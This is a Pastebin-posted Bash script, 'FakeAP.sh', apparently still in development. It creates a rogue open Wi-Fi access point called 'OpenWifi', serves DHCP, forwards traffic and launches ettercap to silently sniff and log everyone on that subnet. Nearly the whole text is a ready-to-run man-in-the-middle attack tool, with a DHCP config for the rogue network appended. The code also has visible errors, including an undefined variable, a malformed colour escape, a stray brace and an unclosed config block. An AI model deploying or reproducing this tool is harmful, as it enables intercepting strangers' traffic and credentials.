r00t-3xp10it

[under develop] FakeAP

Aug 2nd, 2015
489
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 8.32 KB | None | 0 0
  1. #!/bin/bash
  2. ### inicio
  3. #
  4. # [ FakeAP.sh - Capture data over MitM ]
  5. # Author: pedr0 Ubuntu [r00t-3xp10it]
  6. # peterubuntu10[at]sourceforge[dot]net
  7. # ---
  8. # Required: 'aircrack-ng' 'airbase-ng' 'DHCP' 'ettercap-ng'
  9. # 'iptables' 'zenity' and 'netool toolkit' installed...
  10. # ---
  11. # This script was build to be one module of netool toolkit V4.5
  12. # but we can use it without the toolkit, if we config the variable
  13. # 'LOGS_PATH' to another folder were to store ettercap logs.
  14. # ---
  15. # HOW TO:
  16. # chmod +x FakeAP.sh
  17. # sudo ./FakeAP.sh start
  18. # sudo ./FakeAP.sh stop
  19. #
  20. ###
  21.  
  22.  
  23. # ----------------------------------------
  24. # Variable declarations
  25. ########################################################################
  26. H0m3=`echo ~`                               # grab home path           #
  27. AIR_INSTALL=`which aircrack-ng`             # check aircrack install   #
  28. LOGS_PATH="$H0m3/opensource/logs"           # toolkit logs folder      #
  29. DEFAULT_INTERFACE="wlan0"                   # default interface        #
  30. FAKE_AP_INTERFACE="wlan1"                   # fake AP interface to use #
  31. FAKE_AP_CHANNEL=6                           # fake AP channel to use   #
  32. FAKE_AP_SSID="OpenWifi"                     # fake AP SSID display     #
  33. DHCPD_CONF_FILE="/etc/dhcp/dhcpd_ap.conf"   # DHCP conf file path      #
  34. ########################################################################
  35.  
  36.  
  37. # ----------------------------------------
  38. # Colorise shell Script output leters
  39. # ----------------------------------------
  40. Colors() {
  41. Escape="\033";
  42. white="${Escape}[0m";
  43. RedF="${Escape}[31m";
  44. GreenF="${Escape}[32m";
  45. YellowF="${Escape}[33m";
  46. BlueF="${Escape}[34m";
  47. CyanF="${Escape}[36m";
  48. Reset="${Escape}[0m";
  49. }
  50.  
  51.  
  52. Colors;
  53. # -------------------------------------
  54. # Stop FakeAP module and clean settings
  55. # -------------------------------------
  56. if [ "$1" == "stop" ]; then
  57. cat << !
  58.  
  59.    ███████╗ █████╗ ██╗  ██╗███████╗ █████╗ ██████╗
  60.    ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
  61.    █████╗  ███████║█████╔╝ █████╗  ███████║██████╔╝
  62.    ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝  ██╔══██║██╔═══╝
  63.    ██║     ██║  ██║██║  ██╗███████╗██║  ██║██║    
  64.    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝    
  65.  
  66. !
  67.   echo ${BlueF}[+]::[ Killing Airbase-ng ]...${Reset};
  68.   pkill airbase-ng && sleep 3
  69.   echo ${BlueF}[+]::[ Killing DHCP server ]...${Reset};
  70.   pkill dhcpd && rm /var/run/dhcpd.pid && sleep 3
  71.   echo ${BlueF}[+]::[ Flushing iptables ]...${Reset};
  72.     iptables --flush
  73.     iptables --table nat --flush
  74.     iptables --delete-chain
  75.     iptables --table nat --delete-chain
  76.     echo ${BlueF}[+]::[ Kill ettercap-ng ]...${Reset};
  77.     killall -9 ettercap      
  78.     echo ${BlueF}[+]::[ disabling IP Forwarding ]...${Reset};
  79.     echo "0" > /proc/sys/net/ipv4/ip_forward
  80.     echo ${BlueF}[+]::[ Stop monitor mode:${GreenF} mon0 ${BlueF}]...${Reset};
  81.     airmon-ng stop mon0
  82.   exit
  83.  
  84.  
  85. Colors;
  86. # ----------------------------------
  87. # check for aircrack-ng installation
  88. # ----------------------------------
  89. elif [ "$1" == "start" ]; then
  90. cat << !
  91.  
  92.    ███████╗ █████╗ ██╗  ██╗███████╗ █████╗ ██████╗
  93.    ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
  94.    █████╗  ███████║█████╔╝ █████╗  ███████║██████╔╝
  95.    ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝  ██╔══██║██╔═══╝
  96.    ██║     ██║  ██║██║  ██╗███████╗██║  ██║██║    
  97.    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝    
  98.  
  99. !
  100.   if [ -e $AIR_PATH ]; then
  101.     echo ${BlueF}[*]${RedF}::${BlueF}[aircrack-ng]${RedF}::${GreenF}[ Installation found ]${Reset};
  102.  
  103.   else
  104.     echo ${RedF}[x]::${BlueF}[aircrack-ng]${RedF}::${BlueF}[${RedF} Not found ${BlueF}]${Reset};
  105.     echo ${BlueF}[*]${RedF}::${BlueF}[please wait]${RedF}::${BlueF}[${GreenF} Downloading ${BlueF}]...${Reset};
  106.     sudo apt-get install aircrack-ng
  107.     clear
  108.   fi
  109.  
  110.   # ----------------------------------------------
  111.   # Config FakeAP, and start attack using ettercap
  112.   # ----------------------------------------------
  113.   # configuring airmon-ng and airbase-ng
  114.   echo ${BlueF}[+]::[${GreenF} FakeAP module running ${BlueF]...${Reset};
  115.   echo ${BlueF}[+]::[ Putting network card in monitor mode ]${Reset};
  116.   airmon-ng start $FAKE_AP_INTERFACE
  117.   sleep 5
  118.   echo ${BlueF}[+]::[ Starting Fake AP... ]${Reset};
  119.   airbase-ng -e "$FAKE_AP_SSID" -c $FAKE_AP_CHANNEL mon0 &
  120.   sleep 5
  121.  
  122.     # configuring interface, adding route, config iptables
  123.     echo ${BlueF}[+]::[ Configuring interface at0 according to dhcpd config ]...${Reset};
  124.     ifconfig at0 up
  125.     ifconfig at0 192.168.3.1 netmask 255.255.255.0
  126.     echo ${BlueF}[+]::[ Adding a route ]...${Reset};
  127.     route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
  128.     sleep 5
  129.     echo ${BlueF}[+]::[ configuring iptables ]...${Reset};
  130.     iptables -P FORWARD ACCEPT
  131.     iptables -t nat -A POSTROUTING -o $DEFAULT_INTERFACE -j MASQUERADE
  132.     echo ${BlueF}[+]::[ clearing lease table ]...${Reset};
  133.     echo > '/var/lib/dhcp/dhcpd.leases'
  134.  
  135.       # start DHCP, enable ip forward, run ettercap (MitM)
  136.       cp ./dhcpd.conf $DHCPD_CONF_FILE
  137.       echo ${BlueF}[+]::[ starting new DHCPD server ]...${Reset};
  138.       ln -s /var/run/dhcp-server/dhcpd.pid /var/run/dhcpd.pid
  139.       dhcpd -d -f -cf "$DHCPD_CONF_FILE" at0 &
  140.       sleep 5
  141.       echo ${BlueF}[+]::[ Enable IP Forwarding ]...${Reset};
  142.       echo "1" > /proc/sys/net/ipv4/ip_forward
  143.       sleep 3
  144.  
  145. # run ettercap MitM attack
  146. echo ${BlueF}[+]::[ Launching ettercap, spy all hosts on the at0 interface subnet ]...${Reset};
  147. xterm -T "FakeAP+ettercap" -fg blue -e ettercap --silent -T -Q -p --log-msg ${LOGS_PATH}/ettercap.log -i at0 // // &
  148. zenity --info --title="FakeAP logfiles" --text "stored under: ${LOGS_PATH}/ettercap.log" --width 300 > /dev/null 2>&1
  149. exit
  150.  
  151. else
  152.  
  153. # invalid flag enter
  154. cat << !
  155.  
  156.    ███████╗ █████╗ ██╗  ██╗███████╗ █████╗ ██████╗
  157.    ██╔════╝██╔══██╗██║ ██╔╝██╔════╝██╔══██╗██╔══██╗
  158.    █████╗  ███████║█████╔╝ █████╗  ███████║██████╔╝
  159.    ██╔══╝  ██╔══██║██╔═██╗ ██╔══╝  ██╔══██║██╔═══╝
  160.    ██║     ██║  ██║██║  ██╗███████╗██║  ██║██║    
  161.    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝╚═╝    
  162.  
  163. !
  164. echo ${RedF}[x]::[usage:${GreenF} sudo ./FakeAP.sh stop|start ]${Reset};
  165. exit
  166. fi
  167. }
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176. ###
  177. #
  178. # -- DHCP configuration file --
  179. # The next code describes the content of the DHCPS configuration file. This file
  180. # must be called dhcpd.conf and must be located next to the FakeAP.sh script.
  181. # When the FakeAP is started the DHCP file will be copied to /etc/dhcp/dhcpd_ap.conf.
  182. #
  183. ###
  184.  
  185. # using google dns servers
  186. option domain-name-servers 8.8.8.8, 8.8.4.4;
  187. default-lease-time 600;
  188. max-lease-time 7200;
  189. option T150 code 150 = string;
  190. deny client-updates;
  191. one-lease-per-client false;
  192. allow bootp;
  193. ddns-updates off;
  194. ddns-update-style none;
  195. authoritative;
  196. # option particular to the Rogue AP network
  197. subnet 192.168.3.0 netmask 255.255.255.0 {
  198. interface at0;
  199. range 192.168.3.2 192.168.3.254;
  200. option routers 192.168.3.1;
  201. option subnet-mask 255.255.255.0;
  202. option broadcast-address 192.168.3.255;
  203. option domain-name-servers 8.8.8.8;
  204. allow unknown-clients;
Advertisement
Add Comment
Please, Sign In to add comment